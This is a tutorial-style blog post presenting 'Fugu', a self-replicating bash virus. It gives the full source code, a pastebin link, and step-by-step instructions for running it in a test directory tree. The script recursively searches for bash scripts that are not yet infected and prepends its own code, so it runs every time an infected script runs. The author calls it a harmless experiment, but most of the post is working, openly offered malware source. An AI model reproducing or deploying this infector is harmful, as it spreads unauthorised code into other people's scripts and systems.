Fugu

8 min read


Hello Stackers, today we talking about bash scripting malware. The script is called Fugu. I suggest that anyone who tries to run the script create a suitable environment to do so. This is just for fun and experimentation, not about being malicious and I discourage such behaviour.

Nothing malicious is taking place, we’re simply copying code from script to script so no real damage is done and any alterations can be reversed. – but I would still recommend you create a suitable environment for testing/execution.

The script will only infect it’s current directory and any sub-directories therein, so begin by creating a directory to contain the test…create some sub-directories within. A simple heirarchy of directories something like this should suffice:

test/
test/a/
test/a/b/
test/a/b/c/

Copy the fugu code (at the bottom of the page) into a text editor and save it
to the test/ directory as fugu. So you should have a bash script named:

test/fugu

Fugu Code here : https://pastebin.com/raw/JtHEz6UW

or

#!/bin/bash

PID=$$

# Set at the command line with the -rd=<path> option, will default to the
# current working directory if unspecified.
ROOT_DIR=

# ROOT_PWD stores the root directory where this script lies and is assigned
# the output of a `pwd` when the script first runs.
#
# ROOT_SCR stores the name of this script - we could use $0 to get the
# script name, but we'd have to parse that to get rid of ./path/to/script
# to get the actual name - you can set ROOT_SCR at the command line with
# the -rs option.
#
ROOT_PWD=`pwd`
ROOT_SCR="fugu"

ROOT_SHB="#!/bin/bash"

# The script begins in the ROOT_DIR directory and will search sub-directories
# to a certain level.
#
# ROOT_DIR is, by default, level 0. A sub-directory in ROOT_DIR would be
# level 1, if it contains a sub that'd be level 2, and so on.
#
# We can limit the depth by setting ROOT_LVL - by default the value is
# 0 (no limit). It can be set to any value >= 0 at the command line with
# the -rl=<value> option.
ROOT_LVL=0

# If find_file() finds a suitable file to infect it will store the
# name of the file here - otherwise this will be left unset.
FUGU_SCR=

# Does what you'd expect - processes command line arguments.
function sort_args()
{
for arg in "$@"
do
	OPT=
	PAR=
	# Arguments at the command line are input in a specific format:
	#
	#	-option=parameter
	#
	# These two lines separate these fields by first breaking the
	# -option=value at the =, turning it instead into a space. Each
	# field is then extracted using awk...
	OPT=`echo ${arg} | sed 's/=/ /g' | awk '{print $1}'`
	PAR=`echo ${arg} | sed 's/=/ /g' | awk '{print $2}'`

	#echo "OPT = ${OPT}"
	#echo "PAR = ${PAR}"

	# Options...
	if [ "${OPT}" = "-rd" ]; then
		if [ -z "${PAR}" ]; then
			echo "Error: The -rd option requires a parameter!"
			exit 1
		fi
		ROOT_DIR=${PAR}
	elif [ "${OPT}" = "-rs" ]; then
		if [ -z "${PAR}" ]; then
			echo "Error: The -rs option requires a parameter!"
			exit 1
		fi
		ROOT_SCR=${PAR}
	elif [ "${OPT}" = "-rl" ]; then
		if [ -z "${PAR}" ]; then
			echo "Error: The -rl option requires a parameter!"
			exit 1
		fi
		ROOT_LVL=${PAR}
	else
		echo "Error: ${arg} - unknown option!"
		exit 1
	fi
done
}

function find_file()
{
	local	DEPTH_LVL=0

	if [ -z ${1} ]; then
		DEPTH_LVL=0
	else
		if [ ${ROOT_LVL} -gt 0 ]; then
			if [ ${1} -ge ${ROOT_LVL} ]; then
				return 1
			fi
		fi
		DEPTH_LVL=${1}
	fi

	echo -en "pwd = `pwd`, DEPTH_LVL = ${DEPTH_LVL}\n\n"

	# Get a list of everything in the current directory, including
	# and hidden files...
	local LISTALL=`ls -a`
	# ...count the entries in the list.
	local LISTCT=`echo -e "${LISTALL}" | wc -l`

	# Iterate through each entry in the LISTALL list...
	local LINE=1

	local	ENTRY=

	while [ ${LINE} -le $((LISTCT + 1)) ];
	do
		unset ENTRY

		# Get the first/next entry from the list.
		ENTRY=`echo -e "${LISTALL}" | head -n ${LINE} | tail -n1`
		LINE=$((LINE + 1))

		echo -e "Checking entry ${ENTRY}"

		if [ -z "${ENTRY}" ] || [ "${ENTRY}" = "" ]; then
			break
		fi

		# Skip those . and .. directories!
		if [ "${ENTRY}" = "." ] || [ "${ENTRY}" = ".." ]; then
			echo "Skipping ${ENTRY}"
			continue 1
		fi

		# If we've found a directory we cd there and begin
		# a new search.
		if [ -d "${ENTRY}" ]; then
			cd ${ENTRY}
			echo
			find_file "$((DEPTH_LVL + 1))" 
			#PID=$!
			#wait $PID
			local RES=$?
			cd ..
			echo -e "Returned ${RES}\n"

			# If find_file() returned 0 we found a file to
			# infect - keep returning 0.
			#if [ ! -z $? ]; then
				if [ ${RES} -eq 0 ]; then
					echo -e "Returning 0 @depth ${DEPTH_LVL}\n"
					echo "FUGU_SCR = ${FUGU_SCR}"
					return 0
				fi
			#fi
			continue 1
		fi

		# Not a directory - look for a file, regular or
		# executable...
		if [ -f "${ENTRY}" ] || [ -x "${ENTRY}" ]; then
			# First line should match the shebang
			# (ROOT_SHB)
			FIRSTLINE=`cat ${ENTRY} | head -n 1`
			echo -e "Line 1 of ${ENTRY} = ${FIRSTLINE}\n"
			if [ "${FIRSTLINE}" = "${ROOT_SHB}" ]; then
				echo "Found match: ${ENTRY}"
				# We need to identify a unique line in
				# this code that we can use to identify
				# already infected files...
				#
				# That ROOT_SHB="#!/bin/bash" line should
				# be enough.
				#
				# First, build an absolute path to the file.
				FUGU_SCR="`pwd`/${ENTRY}"
				FUGU_RES=
				FUGU_RES=`cat ${FUGU_SCR} | grep "ROOT_SHB=\"#!/bin/bash\"" | head -n 1`
				echo "FUGU_RES = ${FUGU_RES}"
				if [ ! -z ${FUGU_RES} ]; then
					echo -e "${FUGU_RES}\n\n${FUGU_SCR} infected!"
					FUGU_SCR=
				else
					echo -e "${FUGU_SCR} not infected!"
					return 0
				fi
			fi
		fi
	done
	
	# Return 1 to indicate failure
	echo -e "Returning 1 @depth: ${DEPTH_LVL}\n"
	return 1
}

function set_scr()
{
	# Need to extract the name of this script (might be an infected file and not
	# the fugu script...)
	if [ "${0:0:2}" = "./" ]; then
		# Executed with ./ - needs to be removed...
		SCR=${0:2}
	else
		SCR=${0}
	fi

	# Might be a path string - isolate the script name
	SCRNAME=`echo ${SCR} | sed 's/\// /g' | awk '{print $NF}'`
	#echo "SCRNAME = ${SCRNAME}"
	ROOT_SCR=${SCRNAME}
}

# Process all command line arguments.
sort_args $@
PID=$!
wait $PID

if [ "${ROOT_DIR}" = "" ]; then
	# No root directory specified - begin in current working directory.
	echo -en "No root dir!\n"
else
	# Root directory specified - begin there.
	echo -en -en "Root dir: ${ROOT_DIR}\n"
	cd ${ROOT_DIR}
fi

echo "Root pwd: ${ROOT_SCR}"
echo -en "Root level: ${1}\n\n"

# Find a file that can be infected.
#
# We will search ROOT_DIR, all files and sub-directories (ROOT_LVL
# permitting) for the first file containing the shebang (#!/bin/bash)
# that is not already infected...
#
# Set initial depth level to 0.
find_file "0" 

PID=$!
wait $PID

if [ -z ${FUGU_SCR} ] || [ "${FUGU_SCR}" = "" ]; then
	echo "Couldn't find a script to infect!"
	exit 1
fi

echo -en ">> find_file returned ${FUGU_SCR}\n\n"

# Count the lines in the target and source (this) script...
LINES_DST=`cat ${FUGU_SCR} | wc -l`
LINES_SRC=`cat "${ROOT_PWD}/${ROOT_SCR}" | wc -l`

echo "LINES_DST = ${LINES_DST}"
echo "LINES_SRC = ${LINES_SRC}"

LINES_DST=$((LINES_DST - 1))

FUGU_OUT=`cat "${ROOT_PWD}/${ROOT_SCR}"`
TRGT_OUT=`cat "${FUGU_SCR}" | tail -n${LINES_DST}`

echo -e "${FUGU_OUT}\n\n${TRGT_OUT}\n" > "${FUGU_SCR}"

Now…since fugu finds and infects other bash scripts, we should create some to that we can verify the script worls properly. Make a few copies of it, save it to the following files:

test/z
test/a/y
test/a/b/x
test/a/b/c/w

Before you run it, it’s best to understand how it works. I have two versions of the script, one tht gives some output (probbaly more confusing than anything) and has lot’s of comments. Any one with no comments and gives no output.

But they both do exactly the same thing…

  1. First, fugu will list the contents of the current directory and

cycle through them one at a time.

  1. If a directory is found, fugu will cd to that directory and begin

to search that directory.

  1. If any file is found it must meet specific criteria – first, it must

begin with a #!/bin/bash shebag, second it must NOT contain a very
specific pattern that should be unique to fugu infected scripts.

  1. If the file meets the criteria fugu copies itself to the script so

that when the script is next run, it will execute the fugu code first,
then its own original code second.

  1. If no infected files are found fugu will continue to search subsequent

sub-directories looking for a host file to infect, if none are found,
fugu exits and does nothing.

since we use commands like ls we get alphabetical results, if you think of our structure:

test/z
test/a/y
test/a/b/x
test/a/b/c/w

Since a comes before z fugu will find a first, find that it is a directory and cd to there where it will begin to search the a directory for files and folders.

Since b will be found before y we cd to b…c will be found before x so we cd to c…and w is all there is in the c directory so w should be the first file that fugu finds and infects. You might wants to chuck some regular files around just to verify that fugu isn’t affecting regular text files.

Execute fugu:

cd test
chmod 0755 fugu
./fugu
cat a/b/c/w

Next time we run fugu, it will again find directories a, b, c…this time it will find that the w file within the c directory is already infected…since there’s nothing else in the c directory, fugu will backtrack and end up back in the b directory – and this time will find and infect the x file.

  • Next time it will infect, y, then lastly z.
  • Fugu will not infect itself!

I won’t spend too much time going into detail, it’s probably more interesting to just read the script. Hope someone learns something from it, criticisms or even improvements encouraged and welcomed.

Okay That’s All folks, cya.

Bima Sena

Leave a Reply

Your email address will not be published. Required fields are marked *